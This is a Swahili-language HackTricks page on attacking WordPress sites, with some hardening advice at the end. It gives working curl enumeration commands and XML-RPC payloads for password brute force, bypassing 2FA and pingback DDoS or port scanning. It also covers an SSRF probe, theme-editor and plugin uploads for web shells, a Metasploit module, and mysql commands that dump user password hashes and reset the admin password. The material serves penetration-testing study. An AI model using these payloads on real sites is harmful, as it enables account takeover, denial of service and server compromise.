Wordpress

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Tumia Trickest kujenga na kutumia workflows zinazotumia zana za jamii za juu zaidi ulimwenguni. Pata Ufikiaji Leo:

Taarifa Msingi

Faili zilizopakiwa zinakwenda: http://10.10.10.10/wp-content/uploads/2018/08/a.txt Faili za Mandhari zinaweza kupatikana katika /wp-content/themes/, kwa hivyo ikiwa unabadilisha php fulani ya mandhari ili kupata RCE labda utatumia njia hiyo. Kwa mfano: Ukitumia mandhari ya twentytwelve unaweza kufikia faili ya 404.php katika: /wp-content/themes/twentytwelve/404.php URL nyingine muhimu inaweza kuwa: /wp-content/themes/default/404.php

Katika wp-config.php unaweza kupata nenosiri la msingi la database.

Njia za kuingia za msingi za kuangalia: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Faili Kuu za WordPress

  • index.php

  • license.txt ina habari muhimu kama toleo la WordPress lililowekwa.

  • wp-activate.php hutumiwa kwa mchakato wa kuamsha barua pepe wakati wa kuanzisha tovuti mpya ya WordPress.

  • Vigezo vya kuingia (vinaweza kubadilishwa jina kuificha):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.php ni faili inayowakilisha kipengele cha WordPress kinachowezesha data kutumwa na HTTP ikifanya kazi kama mbinu ya usafirishaji na XML kama mbinu ya uendeshaji. Aina hii ya mawasiliano imebadilishwa na REST API ya WordPress.

  • Kabrasha cha wp-content ndio kabrasha kuu ambapo programu-jalizi na mandhari zinahifadhiwa.

  • wp-content/uploads/ Ni kabrasha ambapo faili zozote zilizopakiwa kwenye jukwaa zinahifadhiwa.

  • wp-includes/ Hii ni kabrasha ambapo faili za msingi zinahifadhiwa, kama vyeti, herufi, faili za JavaScript, na vidude.

  • wp-sitemap.xml Katika toleo la WordPress 5.5 na zaidi, Worpress inazalisha faili ya sitemap XML na machapisho yote ya umma na aina za machapisho na taksonomia zinazoweza kuulizwa kwa umma.

Udukuzi wa Baada ya Ufutaji

  • Faili ya wp-config.php ina habari inayohitajika na WordPress kuunganisha kwenye database kama jina la database, mwenyeji wa database, jina la mtumiaji na nenosiri, funguo za uthibitishaji na chumvi, na kiambishi cha meza ya database. Faili hii ya usanidi inaweza pia kutumika kuamsha hali ya DEBUG, ambayo inaweza kuwa muhimu katika kutatua matatizo.

Vibali vya Watumiaji

  • Msimamizi

  • Mhariri: Chapisha na simamia machapisho yake na ya wengine

  • Mwandishi: Chapisha na simamia machapisho yake mwenyewe

  • Mchangiaji: Andika na simamia machapisho yake lakini hawezi kuyachapisha

  • Mfuasi: Tafuta machapisho na hariri wasifu wao

Uchunguzi wa Kimya

Pata toleo la WordPress

Angalia ikiwa unaweza kupata faili /license.txt au /readme.html

Ndani ya mikoa ya chanzo ya ukurasa (mfano kutoka https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • jina la meta

  • Faili za kiungo za CSS

  • Faili za JavaScript

Pata Programu-jalizi

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Pata Mada

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Tumia Trickest kujenga na kutumia workflows kwa urahisi zinazotumia zana za jamii ya juu zaidi duniani. Pata Ufikiaji Leo:

Uchambuzi wa Kazi

Programu-jalizi na Mada

Labda hautaweza kupata Programu-jalizi na Mada zote zinazowezekana. Ili kugundua zote, utahitaji kufanya Brute Force kwa orodha ya Programu-jalizi na Mada (kwa bahati nzuri kuna zana za kiotomatiki zinazojumuisha orodha hizi).

Watumiaji

ID Brute

Unapata watumiaji halali kutoka kwenye tovuti ya WordPress kwa kufanya Brute Force ya vitambulisho vya watumiaji:

curl -s -I -X GET http://blog.example.com/?author=1

Ikiwa majibu ni 200 au 30X, hii inamaanisha kuwa kitambulisho ni sahihi. Ikiwa majibu ni 400, basi kitambulisho ni batili.

wp-json

Unaweza pia jaribu kupata habari kuhusu watumiaji kwa kuuliza:

curl http://blog.example.com/wp-json/wp/v2/users

Endpoint nyingine ya /wp-json/ ambayo inaweza kufichua baadhi ya taarifa kuhusu watumiaji ni:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Tafadhali elewa kuwa hii sehemu inaonyesha watumiaji ambao wametoa chapisho. Taarifa kuhusu watumiaji walio na kipengele hiki kimezimwa tu ndio itatolewa.

Pia elewa kuwa /wp-json/wp/v2/pages inaweza kufichua anwani za IP.

Uchambuzi wa majina ya kuingia

Wakati wa kuingia katika /wp-login.php ujumbe ni tofauti ikiwa jina la mtumiaji lipo au la.

XML-RPC

Ikiwa xml-rpc.php iko hai unaweza kufanya jaribio la nguvu la siri au kutumia kuzindua mashambulizi ya DoS kwa rasilimali nyingine. (Unaweza kiotomatiki mchakato huu kutumia hii kama mfano).

Ili kuona ikiwa iko hai jaribu kupata /xmlrpc.php na tuma ombi hili:

Angalia

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Uvamizi wa Vitambulisho

wp.getUserBlogs, wp.getCategories au metaWeblog.getUsersBlogs ni baadhi ya njia zinazoweza kutumika kuvamia vitambulisho. Ikiwa unaweza kupata mojawapo yao unaweza kutuma kitu kama:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Ujumbe "Jina la mtumiaji au nywila sio sahihi" ndani ya jibu la nambari 200 unapaswa kuonekana ikiwa vyeti havijathibitishwa.

Kwa kutumia vyeti sahihi unaweza kupakia faili. Katika jibu njia itaonekana (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Pia kuna njia ya haraka ya kuvunja nywila kwa kutumia system.multicall kwa kuweza kujaribu nywila kadhaa kwa ombi moja:

Kupita 2FA

Mbinu hii imelengwa kwa programu na sio kwa binadamu, na ni ya zamani, hivyo haisaidii 2FA. Kwa hivyo, ikiwa una vyeti halali lakini mlango mkuu unalindwa na 2FA, unaweza kutumia xmlrpc.php kuingia na vyeti hivyo bila kuzingatia 2FA. Tafadhali kumbuka kuwa huwezi kufanya vitendo vyote unavyoweza kufanya kupitia konsoli, lakini bado unaweza kufikia RCE kama Ippsec anavyoeleza katika https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS au uchunguzi wa bandari

Ikiwa unaweza kupata njia pingback.ping ndani ya orodha unaweza kufanya Wordpress itume ombi la aina yoyote kwa mwenyeji / bandari yoyote. Hii inaweza kutumika kuomba maelfu ya maeneo ya Wordpress kufikia eneo moja (hivyo DDoS inasababishwa katika eneo hilo) au unaweza kutumia kuifanya Wordpress kufanya uchunguzi wa ndani wa mtandao (unaweza kutoa bandari yoyote).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Ikiwa unapata faultCode na thamani kubwa kuliko 0 (17), inamaanisha mlango uko wazi.

Angalia matumizi ya system.multicall katika sehemu iliyopita kujifunza jinsi ya kutumia njia hii kusababisha DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Faili hili kawaida huwepo chini ya mzizi wa tovuti ya Wordpress: /wp-cron.php Wakati faili hii inapopatikana, kazi nzito ya MySQL hufanywa, hivyo inaweza kutumiwa na wahalifu kusababisha DoS. Pia, kwa chaguo-msingi, wp-cron.php huitwa kila wakati ukurasa unapakia (wakati mteja anapoomba ukurasa wowote wa Wordpress), ambayo kwenye tovuti zenye trafiki kubwa inaweza kusababisha matatizo (DoS).

Inapendekezwa kulemaza Wp-Cron na kuunda cronjob halisi ndani ya mwenyeji ambayo itatekeleza hatua zinazohitajika kwa kipindi cha kawaida (bila kusababisha matatizo).

/wp-json/oembed/1.0/proxy - SSRF

Jaribu kupata https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net na tovuti ya Worpress inaweza kufanya ombi kwako.

Hii ni majibu wakati haifanyi kazi:

SSRF

Chombo hiki huchunguza ikiwa methodName: pingback.ping na kwa njia /wp-json/oembed/1.0/proxy na ikiwepo, hujaribu kuzitumia.

Zana za Kiotomatiki

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Tumia Trickest kujenga na kutumia mchakato wa kiotomatiki ulioendeshwa na zana za jamii za juu zaidi duniani. Pata Ufikiaji Leo:

Pata ufikiaji kwa kubadilisha kidogo

Zaidi ya shambulio la kweli hili ni mshangao. Katika CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man unaweza kubadilisha biti 1 kutoka kwa faili yoyote ya wordpress. Kwa hivyo unaweza kubadilisha nafasi 5389 ya faili /var/www/html/wp-includes/user.php ili kufuta operesheni ya NOT (!).

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Kubadilisha php kutoka kwa mandhari iliyotumiwa (maelezo ya mwavuli ya admin yanahitajika)

Muonekano → Mhariri wa Mandhari → 404 Kigeuzi (upande wa kulia)

Badilisha maudhui kwa php ya ganda:

Tafuta kwenye mtandao jinsi unavyoweza kupata ukurasa ulioboreshwa. Katika kesi hii unapaswa kupata hapa: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Unaweza kutumia:

use exploit/unix/webapp/wp_admin_shell_upload

Plugin RCE

PHP plugin

Inawezekana kupakia faili za .php kama programu-jalizi. Unda mlango wako wa nyuma wa php kwa mfano:

Kisha ongeza programu-jalizi mpya:

Pakia programu-jalizi na bonyeza Sakinisha Sasa:

Bonyeza Endelea:

Labda hii haitafanya chochote kwa muonekano, lakini ukiondoka kwenye Media, utaona ganda lako limepakia:

Fikia hiyo na utaona URL ya kutekeleza ganda la nyuma:

Upakiaji na kuamilisha programu-jalizi yenye nia mbaya

Mbinu hii inahusisha usakinishaji wa programu-jalizi yenye nia mbaya inayojulikana kuwa na kasoro na inaweza kutumiwa kupata ganda la wavuti. Mchakato huu unatekelezwa kupitia kisanduku cha WordPress kama ifuatavyo:

  1. Upatikanaji wa Programu-jalizi: Programu-jalizi inapatikana kutoka chanzo kama Exploit DB kama hapa.

  2. Usakinishaji wa Programu-jalizi:

  • Nenda kwenye kisanduku cha WordPress, kisha nenda kwa Kisanduku > Programu-jalizi > Pakia Programu-jalizi.

  • Pakia faili ya zip ya programu-jalizi iliyopakuliwa.

  1. Uamilishaji wa Programu-jalizi: Mara programu-jalizi inaposakinishwa kwa mafanikio, lazima iamilishwe kupitia kisanduku.

  2. Utekaji wa Kasoro:

  • Ikiwa programu-jalizi "reflex-gallery" imesakinishwa na kuamilishwa, inaweza kutumiwa kwa sababu inajulikana kuwa na kasoro.

  • Jukwaa la Metasploit hutoa kasoro kwa kasoro hii. Kwa kupakia moduli sahihi na kutekeleza amri maalum, kikao cha meterpreter kinaweza kuanzishwa, kutoa ufikiaji usioruhusiwa kwenye wavuti.

  • Inasisitizwa kuwa hii ni moja tu ya njia nyingi za kutumia tovuti ya WordPress.

Yaliyomo yanajumuisha msaada wa picha unaoonyesha hatua katika kisanduku cha WordPress kwa kusakinisha na kuamilisha programu-jalizi. Walakini, ni muhimu kutambua kwamba kutumia kasoro kwa njia hii ni kinyume cha sheria na si maadili bila idhini sahihi. Taarifa hii inapaswa kutumiwa kwa uwajibikaji na tu katika muktadha wa kisheria, kama vile upimaji wa uingiliaji na idhini wazi.

Kwa hatua za kina zaidi angalia: https://www.hackingarticles.in/wordpress-reverse-shell/**

Baada ya Utekaji

Chambua majina ya watumiaji na nywila:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Badilisha nenosiri la admin:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Kinga ya WordPress

Visasisho vya Kawaida

Hakikisha WordPress, programu-jalizi, na mandhari zinasasishwa. Pia hakikisha kuwa visasisho vya kiotomatiki vimeanzishwa katika wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Pia, sakinisha tu programu-jalizi na mandhari za WordPress zinazoweza kuaminiwa.

Programu-jalizi za Usalama

Mapendekezo Mengine

  • Ondoa mtumiaji wa msingi wa admin

  • Tumia manenosiri yenye nguvu na 2FA

  • Kagua mara kwa mara ruhusa za watumiaji

  • Zuia jaribio la kuingia ili kuzuia mashambulizi ya Brute Force

  • Badilisha jina la faili ya wp-admin.php na ruhusu ufikiaji ndani au kutoka kwa anwani za IP fulani.

Tumia Trickest kujenga na kutumia mifumo ya kazi kwa urahisi ikiwa na zana za jamii za juu zaidi duniani. Pata Ufikiaji Leo:

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated